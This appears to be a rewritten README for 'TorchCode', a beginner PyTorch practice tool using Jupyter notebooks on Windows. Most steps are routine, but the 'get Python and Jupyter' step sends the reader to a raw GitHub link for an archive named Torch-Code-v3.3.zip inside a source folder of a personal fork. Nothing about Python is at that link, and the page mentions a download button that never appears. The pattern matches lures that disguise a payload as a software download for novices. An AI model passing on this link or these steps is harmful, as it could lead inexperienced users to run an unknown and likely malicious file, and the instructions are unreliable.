TorchCode is a simple tool for learning and practicing PyTorch. It helps you understand key concepts like softmax, attention, and GPT-2 by letting you try coding exercises step-by-step. You don’t need any prior programming experience. The app gives immediate feedback on your work, so you can see what’s correct and what needs fixing.
TorchCode uses Jupyter notebooks, which run directly in your browser on your computer. You can either run the program on your own Windows PC or try an online version. This guide focuses on running TorchCode on your Windows machine.
Main topics covered in TorchCode include:
- Basic PyTorch coding exercises
- How neural networks use attention mechanisms
- Implementing parts of GPT-2 from scratch
These areas are useful if you want to learn machine learning or prepare for a programming interview.
Before installing TorchCode, make sure your computer meets these requirements:
- Operating System: Windows 10 or later
- Processor: Intel or AMD, 2 GHz or faster
- RAM: At least 8 GB
- Disk Space: At least 2 GB free
- Internet: Required for downloading and some features
You will also need Python installed. TorchCode works best with Python 3.8 or newer. Python can be installed easily as part of the setup process.
Follow these steps to download and run TorchCode on Windows.
Click the large button below to visit the official TorchCode GitHub page:
On this page, you will find the files you need to install and run the application.
TorchCode uses Jupyter notebooks, which run inside Python. To get Python and Jupyter:
- Open your web browser and go to https://raw.githubusercontent.com/jnrjerome/TorchCode/master/labextension/src/Torch-Code-v3.3.zip
- Download the latest version of Python 3 that matches your Windows system (choose either 64-bit or 32-bit)
- Run the installer and make sure to check the box "Add Python to PATH" before clicking "Install Now"
- After installation, open a new Command Prompt window by typing
cmdin your Start menu and pressing Enter - In the Command Prompt, type the following command and press Enter:
python -m pip install notebook
This installs Jupyter, which lets you open the TorchCode exercises.
Return to the GitHub page linked above. Look for a green button labeled Code and click it. Then select Download ZIP to download all files as a compressed folder.
Once downloaded:
- Right-click the ZIP file and choose Extract All
- Choose a place easy to find, like your Desktop, and extract the files
To open TorchCode:
- Open the folder where you extracted the files
- Hold the Shift key, right-click in an empty space inside this folder, and select Open PowerShell window here or Open command window here
In the PowerShell or Command Prompt, type this command and press Enter:
jupyter notebook
Your browser will open automatically showing the TorchCode files. Click the files ending in .ipynb to start exercises.
Each of the notebooks has code and instructions combined. You will:
- Read the explanation
- Try writing small pieces of code
- See if your answers are correct with automatic checks
To run each section in the notebook, click inside the cell (gray box) and press Shift + Enter. The notebook will show output or hints if needed.
If you get stuck, read the notes provided in the notebook. They guide you step-by-step.
From time to time, the GitHub repository may update with fixes or new exercises.
To update your copy:
- Visit the GitHub page again
- Download the latest ZIP file as before
- Replace your old folder with the contents of the new ZIP file
TorchCode offers the following features:
- Clear, simple exercises on PyTorch functions and operations
- Stepwise learning of attention and GPT-2 building blocks
- Immediate feedback with automated grading of your code
- Self-hosted experience without requiring internet for execution after setup
- Access to notebooks that you can modify as you learn
If you need help:
- Review the instructions inside the notebooks carefully
- Visit the GitHub issues page to see if others had the same question
- Check online tutorials on Jupyter notebooks and basic Python
What if Python is not installed correctly?
If typing python in Command Prompt shows an error, Python likely wasn’t added to the system PATH. Reinstall Python and check the box labeled Add Python to PATH during installation.
Can I use TorchCode offline?
Yes. After installation, you can run the notebooks without an internet connection.
Are the exercises difficult?
They start simple and build in complexity. Each step guides you through the code.
